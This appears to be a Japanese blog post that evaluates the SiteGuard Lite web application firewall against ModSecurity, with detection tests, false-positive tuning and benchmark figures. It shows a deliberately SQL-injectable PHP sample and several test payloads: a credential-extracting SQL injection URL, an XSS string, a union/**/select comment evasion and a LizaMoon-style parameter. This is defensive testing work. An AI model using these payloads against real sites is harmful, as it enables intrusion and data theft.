SiteGuard Liteは、JP-Secure社がApacheのモジュールとして提供するホスト型WAFで、今年2月から販売開始されます。JP-Secureには元々フル版のSiteGuardがありますので、SiteGuard Liteはその名の通り廉価版という位置づけなのでしょう。SiteGuardのラインナップ比較を下表に示します。

SiteGuard SiteGuard for Server SiteGuard Lite
配置方式 ネットワーク型 ホスト型 ホスト型
実装形態 Proxy Proxy Apacheモジュール
シグネチャ検査
ホワイトリスト検査
Cookie暗号化
セッション管理
クローキング
ライセンス費用 178万円 79万円 約30万円


SiteGuard Liteはシグネチャ検査に特化することで価格を下げた廉価版と言うことになります。

インストール

SiteGuard Liteは商用製品ですのでバイナリでの提供となります。Red Hat Enterprise Linux 4/5/6あるいはCentOS 4/5/6が動作可能ディストリビューションとなっています。筆者としてはUbuntu上でも動作確認してもらえるとありがたいと思いましたので、JP-Secure社にはそう要望しています。
rpmによるインストールは基本的には以下の3コマンドです。

# rpm -Uvh siteguardlite-1.00-beta.i386.rpm
# cd /opt/jp-secure/siteguardlite/
# ./setup.sh

最後のsetup.shはApacheの各種パスなどを指定するものです。その他、SE Linux用のポリシーを必要に応じて適用します。
今回の検証では、Centos6.2を用いました。apacheをyumでインストールした環境では、上記setup.shの実行は、リターンキーを何回か押すだけで終わりました。

使ってみる

それでは、さっそくSiteGuard Liteを用いて各種の攻撃を防御してみましょう。防御対象には、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方」(以下、徳丸本)の脆弱なサンプル44-001.php(同書P120)を用いました。ファイル名はbooks.phpとしました。ソースの冒頭を以下に引用します。
<?php
  session_start();
  header('Content-Type: text/html; charset=UTF-8');
  $author = $_GET['author'];
  $con = pg_connect("host=localhost dbname=wasbook user=postgres password=wasbook");
  $sql = "SELECT * FROM books WHERE author ='$author' ORDER BY id";
  $rs = pg_query($con, $sql);
?>
// 以下略
このスクリプトにはSQLインジェクション脆弱性があります。それをSiteGuard Liteで防御してみましょう。
以下は、徳丸本のP121に登場する「個人情報を盗み出す」攻撃です。
http://example.jp/books.php?author='+and+cast((select+id||':'||pwd+from+users+offset+0+limit+1)+as+integer)>1--
以下のようにブロックされています。


しかし、これは典型的な攻撃だから当然のようにブロックするでしょうね。以下、いくつかのトピックスを見てみましょう。

(1)ApacheKillerとhashdosはデフォルトで防御
ApacheKillerhashdosのexploitをかけてみたところ、デフォルト設定でブロックしました。


(2)「完璧なWAF」はどうか
一頃、WAF業界で話題になった「完璧なWAF」に出てくる攻撃についても評価しました。
仮にscriptをブラックリストに指定したとしましょう。それでもまだ不十分です。<IMG>タグでXSSが発動することをご存じでしょうか?プログラムなどでは<IMG>タグは画像添付に必須であり、WAFで禁止することは難しいのが実情で、ブラックリスト方式の課題となっています。
という箇所についてですが、XSS Cheat Sheetに出てくるimg要素によるXSSの攻撃パターンのうちの一つが以下です。
http://example.jp/books.php?author=jav%09ascript:alert('XSS');
これについても、きちんとブロックしています。
次に、SQLインジェクションについてはどうでしょうか。「完璧なWAF」からunion selectに関するくだりを引用します。
SQLインジェクション対応の駄目な例として挙げられるのは、複文などの直接攻撃しか考慮していないケースです。簡単に言うと、master..execなどの直接攻撃のみ禁止しているWAFは甘く、union selectなどのunionインジェクションを考慮したWAFはまだマシであると言えます(攻撃者の観点が分かっているという意図でマシと記載しました)。
このブラックリストを通り抜けるにはコメントを使用します。たとえば、union/**/selectではどうなるでしょうか? 残念ながらほとんどのWAFは通り抜けてしまいます。
マシなWAFは「union select」は考慮するが、「union/**/select」はほとんどのWAFは通り抜けるということですが、SiteGuard Liteはどうでしょうか。
試してみると、
  • union select       … 通り抜ける
  • union/**/select   … ブロックする
あれあれ、「完璧なWAF」とは逆の結果となりました。でも、この方がいいですね。「union select」は普通の英文にも出てきそうなのでブロックすることは不適切で、一方「union/**/select」は通常の英文にはまず出てこないと思われ、攻撃目的である可能性が高いからです。


(3)ライザムーン(LizaMoon)攻撃は防げるか
次に、これも一頃話題になった「新しいタイプのSQLインジェクション攻撃」であるライザムーン攻撃ではどうでしょうか。ライザムーンの特徴である(1)数値型項目に対するシングルクォートを用いない攻撃、(2)MS SQL Serverに対するセミコロンのない複文の特徴を持つ以下のパラメータで試しました。
author=17871+update+employee+set+number%3DREPLACE(cast(
このパターンでも、SiteGuard Liteはブロックしました。

ModSecurityとの比較

ここで、SiteGuard LiteのライバルとなるであろうModSecurityとの比較を試みます。ModSecurityの最新版2.6.3とCore Rule Set(CRS)2.2.3の組み合わせと比べてみました。
実は、今まで挙げてきた攻撃パターンは、ModSecurity(+CRS)もすべてブロックします。こう書くと、「では、無償のModSecurityでもよいのではないか」と思いそうですが、そうではありません。ModSecurityは「止めるべきでない」リクエストも止めてしまいます。つまり、過剰検知(False Positive)が多いのです。
たとえば、ModSecurityは「union select」という並びが入力にあるとブロックしますが、それだけでなく、「unionselect」や「unionAAAselect」もブロックします。すなわち、unionという単語の後のどこかにselectがあると、ブロックされます。
そのような例としてGoogle検索で適当に探した文を以下に示します。以下を入力として与えても、ModSecurityはブロックします。
Providing a credit union is a valuable benefit, and at Southern Select CCU, it will not cost your company a thing.
出展: http://www.southernselectccu.com/JoinUs.aspx (won'tをwill notに変更)
次に、ライザムーン攻撃についてもModSecurityはブロックしますが、以下の単純なパターンでもModSecurityはブロックしてしまいます。
author=17871+update
極めつきとして、ModSecurityは以下もブロックします。
author=夏目漱石
CRSには標準で「英数字以外が4文字連続するとブロック」というルールがあるからです。
さすがにこれでは使えないので、ModSecurityのチューニングとして、過剰検知のルールを無効化してみましょう。
まず、上記をブロックしているルールをModSecurityの監査ログから探します。以下が該当します。

SecRule "ARGS" "@rx \\W{4,}" "phase:2,log,capture,t:none,t:urlDecodeUni,block,id:960024,rev:2.2.3,msg:'SQL Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:%{tx.0},setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.sql_injection_score=+1,setvar:tx.msg=%{rule.msg},setvar:tx.%{rule.id}-WEB_ATTACK/RESTRICTED_SQL_CHARS-%{matched_var_name}=%{tx.0}"
このルールをコメントアウトしてもいいですが、別の方法として、id=960024を無効にすると言うルールを追加しましょう。この方が、ルールのメンテナンス性が良くなります。


SecRuleRemoveById 960024
このチューニングは、後述の性能評価のために必要でした。
一方、SiteGuard Liteでも同様のチューニングが必要になるケースはあり得ます。その場合、WebのGUIからログを確認して、対応するルールの無効化や監視のみへの変更も、Web GUIから可能です。今回の評価では、SiteGuard Liteのチューニングはせず、デフォルト設定で使用しています。

さて、前述のように、ModSecurityとCRSの組み合わせは防御能力は高いように見えるものの、過剰検知が多いのでチューニングなしには使えないのです。過剰検知が多いのはModSecurity本体というよりはCRSの問題ですが、さりとて、CRSを使わないとなるとルールを買ってくるか、自分で作ることになります。すなわち、ModSecurityは無償とはいえ、導入には手間が掛かるということです。


一方、ModSecurityのメリットはなんでしょうか。ことカスタマイズに関しては、ModSecurityの方が優れています。ModSecurity自体はWAFを作るための開発ツールととらえることができます。たとえば、アカウントロック機能をModSecurityで実現することも可能です。しかし、ModSecurity上の複雑なルール作成は大変ですし、ModSecurity本体のバージョンアップに伴い従来動いていたルールが動かなくなる可能性もあります。そのようなModSecurityのバージョンアップの大変さについては、IPAが公開している「WAF読本」のP70~P71にも記載されています。
ということで、ルールの自由度という点ではModSecurityが優れていますが、その自由度を使いこなすのは中々大変であると考えます。

性能評価

次に、性能の評価をしてみました。サーバーマシンのスペックを以下に示します。4年前に19,800円で購入した格安サーバーです。

DELL PowerEdge/SC440
CPU:Pentium Dual-Core 2GHz
メモリ 3.6Gバイトを割り当て
VMware Server上で評価

負荷テストにはApache Benchを用い、以下のコマンドラインを用いました(同時接続=50、リクエスト数=1000)。WAFに負荷をかけるために、余分なパラメータを追加しています。
ab -c 50 -n 1000 "http://example.jp/books.php?author=Shakespeare&zip=113-8663&addr=%E6%9D%B1%E4%BA%AC%E9%83%BD%E6%96%87%E4%BA%AC%E5%8C%BA%E6%9C%AC%E9%A7%92%E8%BE%BC2-28-8&tel=03-1234-5678"
結果を以下に示します。

WAFなし SiteGuard Liteあり ModSecurityあり
秒間リクエスト数 30.05 29.94 27.56
相対性能 100% 99.6% 91.7%

ModSecurityが少し遅いものの、あまり差はありません。その理由は、アプリケーションが遅いため、相対的にWAFの遅延が見だたなくなっているからと予想されます。
そこで、先のスクリプトをチューニングすることにします。ボトルネックは、DB接続をコネクションプールしていないことと予想されるため、pg_connectpg_pconnectに変更してabをかけました。
結果を以下に示します。高速化されたため、リクエスト数を1万にしています。

WAFなし SiteGuard Liteあり ModSecurityあり
秒間リクエスト数 365.34 284.85 127.80
相対性能 100% 78.0% 35.0%

スクリプトが10倍以上高速になったことにより、WAFのオーバーヘッドが目立ち始めましたが、それでも2割ちょっと遅くなるだけで済むというのは、許容できる範囲ではないかなと思いました。4年前の2万円弱のサーバーで280リクエスト/秒出せるのであれば、通常の応用には十分ですし、アプリ側が遅い場合は、1番目の例で見たようにWAFのオーバーヘッドはさらに目立たなくなるからです。ModSecurityはCRSを全部有効にしているために遅いとも考えられるため、性能という観点からもルールのチューニングが有効でしょう。ただし、Webサーバーの性能に余裕がある場合には、上記性能劣化は許容できると思います。

他のWAFとの使い分けの考察

SiteGuard Liteの購入を検討する際にもっとも比較されるのは、SaaS型のWAFサービスでしょう。
単純に価格だけ見れば、SiteGuard Liteの方が安く見えます。SaaS型のWAFサービスの相場は、初期設定10万円程度、月額3万~という感じだと思いますが、初年度で元が取れそう…というのは錯覚で、SaaSの方は導入費と運用費が込みですので、単純に比較するわけにはいきません。
また、SaaS型WAFサービスだと応答の遅延を気にされるユーザが多いようですが、SiteGuard Liteのようなホスト型のWAFは、遅延の影響はもっとも受けにくい形態になります。
このように、性能上の特徴とトータルコストを勘案して、導入するWAF製品・サービスを選定することになります。

守るべきWebサーバーの数が非常に多い場合は、複数台のWebサーバーを一台のWAFで守れるならば、SiteGuard Liteではなく、ネットワーク型のSiteGuard(フル版)の方が安くなる可能性があります。

感想

私は3年半前に「三重苦を乗り越えてWAFが普及するための条件とは」という記事を書いて、以下のように結論づけました。
実運用に影響を与えない程度の控えめなブラックリストをチューニングして、それを全パラメータ共通で使用する。そうすれば、手間も掛らないし、機械化されたSQLインジェクション攻撃程度であれば十分な効力がある。それでも運用に影響が出るパラメタもある(ブログや掲示板など)が、そのパラメタだけはブラックリスト検査を除外して、その代わりしっかり脆弱性検査をして対策もアプリ側でとっておけばよい。【中略】
また、WAFの低価格化は必須だ・・・というより、ホワイトリスト機能を使わないのであれば、安いWAFで十分だ。
SiteGuard Liteは、3年半に出現を予告した製品が、ようやく世の中に出てきたように私には見えましたw

そんな訳で、弊社(HASHコンサルティング株式会社)は今までセキュリティ製品の販売は手がけていませんでしたが、SiteGuard Liteは初めて「この製品なら売りたい」と思いました。


まとめ

SiteGuard Liteのβ版について評価しました。
SiteGuard Liteはシグネチャ検査に機能を絞った廉価版WAFですが、XSSやSQLインジェクションについては十分な防御性能と速度を持ちます。
インターネットがとても物騒な状況にある今、とくにSQLインジェクション対策としてWAFの導入は有効であり、その有力な選択肢としてSiteGuard Liteが挙げられると考えます。


[PR]
WAFの選定・導入に関する相談はHASHコンサルティング株式会社まで。
安全なWebアプリケーションの作り方DRMフリーのPDFによる電子版もあります。

フォロワー